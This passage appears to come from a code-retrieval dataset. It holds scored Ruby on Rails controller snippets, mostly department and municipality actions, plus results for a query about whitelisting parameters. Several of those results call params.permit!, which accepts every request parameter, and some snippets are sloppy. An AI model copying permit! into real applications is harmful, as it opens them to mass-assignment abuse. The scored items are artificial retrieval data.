@department\n end", "title": "" }, { "docid": "2795a913818efd74cf11153121f22fcc", "score": "0.6372913", "text": "def index\n seleccionarMenu(:juzgados)\n @juzgados = Juzgado.order(:ciudad_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @juzgados }\n end\n end", "title": "" }, { "docid": "1634b64dd75a926b2e309988981ab9ad", "score": "0.63635635", "text": "def set_admin_departamento\n @admin_departamento = Admin::Departamento.find(params[:id])\n end", "title": "" }, { "docid": "12a9c64a60b09133483b9c52c096b74b", "score": "0.6273104", "text": "def show\n @departure = Departure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @departure }\n end\n end", "title": "" }, { "docid": "102940259b3ab4f653b9ed3c34f4bc9e", "score": "0.62727946", "text": "def show\n render json: @department, status: :found\n end", "title": "" }, { "docid": "b838cae011e8eba6a5582ddb16d3e429", "score": "0.62697065", "text": "def index\n @departments = Department.all\n end", "title": "" }, { "docid": "b838cae011e8eba6a5582ddb16d3e429", "score": "0.62697065", "text": "def index\n @departments = Department.all\n end", "title": "" }, { "docid": "b838cae011e8eba6a5582ddb16d3e429", "score": "0.62697065", "text": "def index\n @departments = Department.all\n end", "title": "" }, { "docid": "c5f4352734d31e73e4aafc71fb1b8228", "score": "0.6265134", "text": "def index\n if params[:estado]\n @municipios = Uf.find(params[:estado]).municipios\n else\n @municipios = Uf.first.municipios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end", "title": "" }, { "docid": "c4ac8888098f10fc73255b606bbf3c0d", "score": "0.62213695", "text": "def index\n @departamentos = Departamento.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @departamentos }\n end\n end", "title": "" }, { "docid": "519198608870334ec6a6d2e8eca03bec", "score": "0.6220709", "text": "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "title": "" }, { "docid": "2086afc59d8b4264618feecb09523bda", "score": "0.62139803", "text": "def departments\n render json: Department.all.order(:name).includes(:regional_name).map{|x| {id: x.id, name: x.rgnl_name}}\n end", "title": "" }, { "docid": "aef54df3e83b46a6b19f51692403ebae", "score": "0.61745524", "text": "def show\n @deporte= set_deporte\n render json: @deporte, status: :ok\n\n end", "title": "" }, { "docid": "e71cd91428f757a823918d646f716020", "score": "0.6139163", "text": "def index\n @departuretypes = Departuretype.all\n end", "title": "" }, { "docid": "009ea430e359721b767c30afcbf5ba5e", "score": "0.61381525", "text": "def index\n @deportes = Deporte.all\n render json: @deportes, status: :ok \n @deportes = Deporte.paginate(:page => params[:page])\n end", "title": "" }, { "docid": "e89d973a4a0d05ce6b72ef15dfe3e244", "score": "0.61281663", "text": "def show\n @departamentos = Departamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @departamentos }\n end\n end", "title": "" }, { "docid": "7a9ecba38850603bff6dd3240a2c2391", "score": "0.61236006", "text": "def destroy\n @admin_departamento.destroy\n respond_to do |format|\n format.html { redirect_to admin_departamentos_url, notice: 'Departamento was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3951ac0ed732af4b805cd0e1e84944d1", "score": "0.61008656", "text": "def index\n @department = Department.find(params[:department_id])\n @towns = @department.towns\n respond_to do |format|\n format.json { render json: @towns, status: :ok }\n end\n end", "title": "" }, { "docid": "83a5580f5398e0445c89879bb0b82f07", "score": "0.6093472", "text": "def departures\n json = Client511.new.departures(agency.name, name)\n parse_departures(json)\n end", "title": "" }, { "docid": "d363e06b18110d5943f26ea0ae2fd611", "score": "0.6093054", "text": "def get_department\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "title": "" }, { "docid": "337dd0d9e41dc49d7ac6c9720a0d96fd", "score": "0.6081542", "text": "def create\n @departamento = Departamento.new(departamento_params)\n\n if @departamento.save\n render json: @departamento, status: :created, location: @departamento\n else\n render json: @departamento.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "077966d3de37664d53058552b7ed102e", "score": "0.6066774", "text": "def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end", "title": "" }, { "docid": "afc46ba203e1383e1bf6f6e39a99f6c1", "score": "0.6064234", "text": "def show\n @empresa = Empresa.find(params[:id])\n @vagas = @empresa.vagas\n @funcionarios = nil\n if current_usuario.isCoordenador? or current_usuario.isAdmin?\n @funcionarios = @empresa.gestor\n @funcionarios << @empresa.admin_empresa\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @empresa }\n end\n end", "title": "" }, { "docid": "225e73066a2fb2f7bca556418aaf5300", "score": "0.6059995", "text": "def new\n\n @departamento = Departamento.new\n @pais = Departamento.do_orgao(@orgao.id).order(:nome).collect{|p|[p.nome,p.id]}\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @departamento }\n end\n end", "title": "" }, { "docid": "a4919835da6e609a5eb0ef147d4448d8", "score": "0.60544354", "text": "def index\n respond_with (@depts = Dept.all)\n end", "title": "" }, { "docid": "4db16ce6cfed3540a516d2b3585e290a", "score": "0.60456866", "text": "def index\n @depts = Dept.roots.includes(:children)\n render json: @depts, each_serializer: V1::DeptSerializer, root: false\n end", "title": "" }, { "docid": "4be6fd5d5a4e95f36362a58fd1a09284", "score": "0.6045125", "text": "def index\n @departments = Department.paginate( :page => params[:page], :per_page => 10, :order => \"DepartmentID DESC\" );\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @departments }\n end\n end", "title": "" }, { "docid": "caadceab5b4fc2688582e32ac3fb2a54", "score": "0.6043498", "text": "def show\n @espacio_deportivo = EspacioDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @espacio_deportivo }\n end\n end", "title": "" }, { "docid": "b38dbf0feb42ea2f283d01cec9da8fb0", "score": "0.6040875", "text": "def set_departamento\n @departamento = Departamento.find(params[:id])\n end", "title": "" }, { "docid": "b38dbf0feb42ea2f283d01cec9da8fb0", "score": "0.6040875", "text": "def set_departamento\n @departamento = Departamento.find(params[:id])\n end", "title": "" }, { "docid": "045a57ad7e186d36705fcef62732b84d", "score": "0.60361654", "text": "def show\n @department = Department.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @department }\n end\n end", "title": "" }, { "docid": "49ec07ffb7b30b4713d8ade8b15ee082", "score": "0.60320604", "text": "def index\n @users = @department.users\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "70a9d23791650ff194a3a0908241fec0", "score": "0.60244936", "text": "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "title": "" }, { "docid": "d5d43fd115ec8b97e3a7f76c5f52f83e", "score": "0.60236204", "text": "def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end", "title": "" }, { "docid": "0de35831f7d677c5b200daa818ca23f9", "score": "0.6015936", "text": "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "title": "" }, { "docid": "4a36e43b114e862838e617104326fd77", "score": "0.60045075", "text": "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end", "title": "" }, { "docid": "5da8ee1f16db06e8ffb2b0fb04cf375f", "score": "0.6000738", "text": "def query_depts\n { 'respDepartment' => Newspilot.configuration.departments }\n end", "title": "" }, { "docid": "4899e20767df65444c35c3149dfa21ae", "score": "0.600024", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @departments }\n format.json { render :text => get_json }\n end\n end", "title": "" }, { "docid": "e7d41c877b00bc18905025fb7f01e27a", "score": "0.5996473", "text": "def index\n @title = \"Районы\"\n @districts = District.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @districts }\n end\n end", "title": "" }, { "docid": "bb86db93aa952ba8a0a6461fdca3db3e", "score": "0.5993587", "text": "def set_departamento\n @departamento = Departamento.find(params[:id])\n end", "title": "" }, { "docid": "96384aa00a97943950c8cca0d93ed7a3", "score": "0.59864867", "text": "def employee_vacations\n #vacaciones de este año\n vacations = Employee.find(params[:id]).get_vacation_days\n\n respond_to do |format|\n format.json { render json: vacations }\n end\n end", "title": "" }, { "docid": "1e9c0c69352fc7f38e87c0c29e8bca3a", "score": "0.59824157", "text": "def index\n @departure_types = DepartureType.all\n end", "title": "" }, { "docid": "2f0e48cd280bebedafcc1202c585653c", "score": "0.59817964", "text": "def index\n @grupoassuntos = Grupoassunto.all\n\n render json: @grupoassuntos\n end", "title": "" }, { "docid": "ee11e80c632549494a22081efc5edb53", "score": "0.5981668", "text": "def set_departamento\n @departamento = Departamento.find(params[:id])\n end", "title": "" }, { "docid": "e79b4b88bba0e7805b64353647ca922f", "score": "0.5970813", "text": "def show\n @local_deportivo = LocalDeportivo.find(params[:id], :conditions=> \"estado = 'C' OR estado is NULL\")\n \n @espacio_deportivos = @local_deportivo.espacio_deportivos.find(:all)\n \n \n respond_to do |format|\n format.html \n format.json { render json: {:espacio_deportivos =>@espacio_deportivos, :local_deportivo => @local_deportivo }}\n end\n \n end", "title": "" }, { "docid": "fb460708083f382d39df685fb161b45e", "score": "0.5943616", "text": "def index\n @municipios = Municipio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end", "title": "" }, { "docid": "e2743e1914bb8ef953f03ed70ec79d03", "score": "0.5943341", "text": "def department\n response = create_request(API_ENDPOINT, DEPARTMENTS_URI)\n arrange_response(response)\n end", "title": "" }, { "docid": "83ceca71e961e6814d8edccd18bf60fd", "score": "0.59402", "text": "def show\n @ordinario = Ordinario.find(params[:id])\n @alumnos = @ordinario.alumnos\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ordinario }\n end\n end", "title": "" }, { "docid": "4bdfac760970956faff3889d02416789", "score": "0.59401506", "text": "def index\n @administradors = Administrador.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @administradors }\n end\n end", "title": "" }, { "docid": "0297ce926108b34d21dff26bb1e87e7b", "score": "0.5938903", "text": "def get_faculty_departments(year = CURRENT_YEAR, semester = CURRENT_SEMESTER)\n get \"#{format_year(year)}/#{semester}/facultyDepartments.json\"\n end", "title": "" }, { "docid": "a9d9cd8429d952f3886721c34cb4676a", "score": "0.59363633", "text": "def index\n @zones = Zone.all\n\n render json: @zones\n end", "title": "" }, { "docid": "082fdbe07fbab798cf58e51109ad38b6", "score": "0.591534", "text": "def index\n @zones = Zone.all\n render json: @zones\n #@zones\n end", "title": "" }, { "docid": "e64cca0640e5deec3ea61c34ee621058", "score": "0.59120923", "text": "def create\n @admin_departamento = Admin::Departamento.new(admin_departamento_params)\n\n respond_to do |format|\n if @admin_departamento.save\n format.html { redirect_to @admin_departamento, notice: 'Departamento was successfully created.' }\n format.json { render :show, status: :created, location: @admin_departamento }\n else\n format.html { render :new }\n format.json { render json: @admin_departamento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3adca32ee36ba2d86fdc225129cfec05", "score": "0.5903382", "text": "def index\n @to_dos = ToDo.all\n\n render json: @to_dos\n end", "title": "" }, { "docid": "d92471083f72a75bb3427968f9bab151", "score": "0.5898172", "text": "def index\n find_dependencias\n respond_to do |format|\n format.html\n format.json { render :json => @dependencias.to_json(:methods => :alias_or_fullname, :only => [:id, :codigo, :nombre])}\n\n end\n end", "title": "" }, { "docid": "7c9c083563a34a5e1554753fd13793ab", "score": "0.58949655", "text": "def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend", "title": "" }, { "docid": "cbbe701ab009cfe14697f035252c4337", "score": "0.5875867", "text": "def show\n @depoevento = Depoevento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @depoevento }\n end\n end", "title": "" }, { "docid": "be48a8c8609c63901c5d9e92fb87e660", "score": "0.58673465", "text": "def index\n @ordens = Orden.all\n render json: @ordens\n end", "title": "" }, { "docid": "b3a7e9f6fb238740ed30308138468200", "score": "0.5865313", "text": "def show\n @departments = Department.order(:id)\n end", "title": "" }, { "docid": "fb614bd26a92468b8f9e2608147b3f9b", "score": "0.58636653", "text": "def show\n @local_deportivo = LocalDeportivo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @local_deportivo }\n end\n end", "title": "" }, { "docid": "3167919c8f1e5c45598526e8392e6823", "score": "0.58583856", "text": "def index\n @municipio_de_la_preparatoria_o_universidad_de_origens = MunicipioDeLaPreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipio_de_la_preparatoria_o_universidad_de_origens }\n end\n end", "title": "" }, { "docid": "316710b2bc6765f66b83705f4b7966b5", "score": "0.5857581", "text": "def index\n @preparatoria_o_universidad_de_origens = PreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origens }\n end\n end", "title": "" }, { "docid": "6f2726f173997a3d36d396265cac9a36", "score": "0.58540404", "text": "def show\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @denuncia_tipo }\n end\n end", "title": "" }, { "docid": "6aea527a8d1dc4aebe2daddeba960aa8", "score": "0.58434373", "text": "def show\n @municipio_dominio = MunicipioDominio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @municipio_dominio }\n end\n end", "title": "" }, { "docid": "444ecc91ea9f595ab4ad9bd798c78ece", "score": "0.5839566", "text": "def admin_departamento_params\n params.require(:admin_departamento).permit(:nome)\n end", "title": "" }, { "docid": "1d28398b4d22577c8ebb4806d1c4f2fd", "score": "0.58255297", "text": "def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end", "title": "" }, { "docid": "595cfbf8800f5b7c45afdc0990bd01c7", "score": "0.58238155", "text": "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "title": "" }, { "docid": "dfb3c0c278a4e67bbda84554ffcb159b", "score": "0.5817554", "text": "def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end", "title": "" }, { "docid": "b431058269e940ea1dda78b35466e9d6", "score": "0.5816997", "text": "def index\n @ozones = Ozone.all\n render json: @ozones\n end", "title": "" }, { "docid": "f14dfc2cdaf62ef82c8675a0b5f15738", "score": "0.58153576", "text": "def show\n redirect_to(departments_path)\n end", "title": "" }, { "docid": "e655e31720bc3c0ae3ac8e58adab2497", "score": "0.5811851", "text": "def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend", "title": "" }, { "docid": "054c506b291a0d65f5c9987061309607", "score": "0.5811352", "text": "def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end", "title": "" }, { "docid": "720e7d8ae3d4cead5121f73ba60882ed", "score": "0.5811272", "text": "def index\n @doctor=Doctor.find(params[:doctor_id])\n @departments = @doctor.departments\n end", "title": "" }, { "docid": "c777341f58795d8c0c1c4e7d074dfc34", "score": "0.5810028", "text": "def index\n @deptgroups = Deptgroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deptgroups }\n end\n end", "title": "" }, { "docid": "506c2f73faafadd9a5afb14c2581f1bf", "score": "0.5799858", "text": "def index\n @diciplinas = Diciplina.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diciplinas }\n end\n end", "title": "" }, { "docid": "e80c74f0a74a346229329d43ff83d530", "score": "0.5797982", "text": "def display\n @reservas = Reserva.order(fecha_inicio_estadia: :desc)\n render json: @reservas, include: [:cliente, :habitacion]\n end", "title": "" }, { "docid": "a0b2aa10b45f86ca42e9161e39c5eafd", "score": "0.5797411", "text": "def index\n @departures = Departure.ordered\n end", "title": "" }, { "docid": "54e2b4fe500ab316f4a451c10d9e83bc", "score": "0.57950115", "text": "def index\n\t\t@pesq = params[:pesq]\t# Aqui recebemos o parametro via URL\n\t\n\t\tif @pesq == nil or @pesq.strip == \"\"\n\t\t\t@departamentos = Departamento.all\t\t# Aqui sao apresentados todos os registros\n\t\telse\n\t\t\t# filtragem por nome\n\t\t\t@pesq = @pesq.strip\n\t\t\t@departamentos = Departamento.where(\"nome LIKE ?\",'%'+@pesq+'%') # evitando sql injection\n\t\tend\n\n\t\t@totCli = @departamentos.size\t\t# Aqui temos o total de departamentos...\t\t\n\t\tpaginacao()\t# Funcao de paginacao\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml {render :xml => @departamentos}\n\t\tend\n\tend", "title": "" }, { "docid": "d680ad2f9ded92c9b24748c3abd8a83d", "score": "0.57871056", "text": "def index\n @departments = Department.all\n @departments = @departments.sort_by &:name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @Departments }\n end\n end", "title": "" }, { "docid": "db97b06e0a343429d71551bcbd70eacf", "score": "0.5780606", "text": "def show\n @deuda = Deuda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deuda }\n end\n end", "title": "" }, { "docid": "d18ad3209f8968bfaee3ccb346e0daf3", "score": "0.5779049", "text": "def sondagesParAdmin\n sondages = SondageService.instance.listeDesSondagesParAdmin(params[:id])\n render json: sondages, status: :ok\n end", "title": "" }, { "docid": "f1d41b12dece11c1d578dd0440c38036", "score": "0.57789636", "text": "def index\n @administracao_relatorios_diarios = Administracao::RelatoriosDiario.all\n end", "title": "" }, { "docid": "9fddf42ba38f9c1090b38fbcf124cd85", "score": "0.5774298", "text": "def index\n @status_del_admitidos = StatusDelAdmitido.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_admitidos }\n end\n end", "title": "" }, { "docid": "c60decdcfe5104a1aba3ab778dfaa518", "score": "0.5772701", "text": "def index\n @puntajes = Puntaje.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end", "title": "" }, { "docid": "997da905d393d4b0e03c6e97001e67a3", "score": "0.577252", "text": "def get_todo_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.todos\n\n render status: 200, json: @restaurants\n end", "title": "" }, { "docid": "d13d390466b4ce4e5fc4c1968597d221", "score": "0.57703644", "text": "def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end", "title": "" }, { "docid": "ec1ef7279b23f06587a8f0bbcdbe295a", "score": "0.576307", "text": "def index\n @employee_departments = EmployeeDepartment.all\n end", "title": "" }, { "docid": "33398e3d659df6a7af72e59d657cca8a", "score": "0.5760854", "text": "def show\n @department = Department.all \n end", "title": "" }, { "docid": "ae8ce3ff33b51418a355ead17e273090", "score": "0.57601357", "text": "def index\n @vehicule_persos = VehiculePerso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @vehicule_persos }\n end\n end", "title": "" }, { "docid": "594522e909db686a148f8f5466394762", "score": "0.57598555", "text": "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "title": "" }, { "docid": "594522e909db686a148f8f5466394762", "score": "0.57598555", "text": "def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end", "title": "" } ]
a2099a77c85e91272ae2f9e35b937953
Only allow a trusted parameter "white list" through.
[ { "docid": "b9d5f536e222f56029976c424b11ad26", "score": "0.0", "text": "def enrollment_params\n params.require(:enrollment).permit(:student_id, :course_id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7943618", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.69572574", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6887521", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.67666084", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6733912", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.671326", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6705381", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66612333", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.66164786", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.66156906", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.65888846", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6575757", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6572969", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6572365", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f5e3a87909b3e5022047b4b0a64ca154", "score": "0.65321475", "text": "def parameter_params\n params.require(:parameter).permit(:name, :code, :description, :user_id, :value, :cargapp_model_id, :active)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.65129966", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.65128386", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.64990044", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "52d4c66cc205503f7ad6a4feaedab9b8", "score": "0.6491305", "text": "def parameter_params\n params.require(:parameter).permit(:name, :value, :description)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6489574", "text": "def need_params\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6476191", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.645836", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.64389294", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6431918", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.642512", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6420569", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63804525", "text": "def filter_parameters; end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.63736504", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.6336598", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6319846", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "55aa899fab0dfa44916f71c499998ca8", "score": "0.63113743", "text": "def parameter_params\n params.require(:parameter).permit(:key, :value)\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f", "score": "0.6290657", "text": "def good_option_params\n permit_params\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.62724084", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.6266407", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "572f75fa86537d103ddf7b5503f06515", "score": "0.6265082", "text": "def parameter_params\n params.require(:parameter).permit(:title)\n end", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6262119", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "b4ac8bc6941a87425ac2dc42a226295f", "score": "0.6258491", "text": "def filtered_params_config; end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6243215", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "63944d10aa4cde014b8332874db87cb9", "score": "0.62372005", "text": "def excluded_from_filter_parameters=(_arg0); end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6fc2bac4c842e4285d685333ba68e5e9", "score": "0.6226018", "text": "def admin_parameter_params\n params.require(:admin_parameter).permit(:name, :inss_hour_price, :private_hour_price, :is_eval)\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.62250364", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "6008e8707eafce375988b3c7ccf098c3", "score": "0.62147176", "text": "def original_params; end", "title": "" }, { "docid": "4ba8f5cdb0399571d60b7242794ce47f", "score": "0.62035644", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61931455", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": 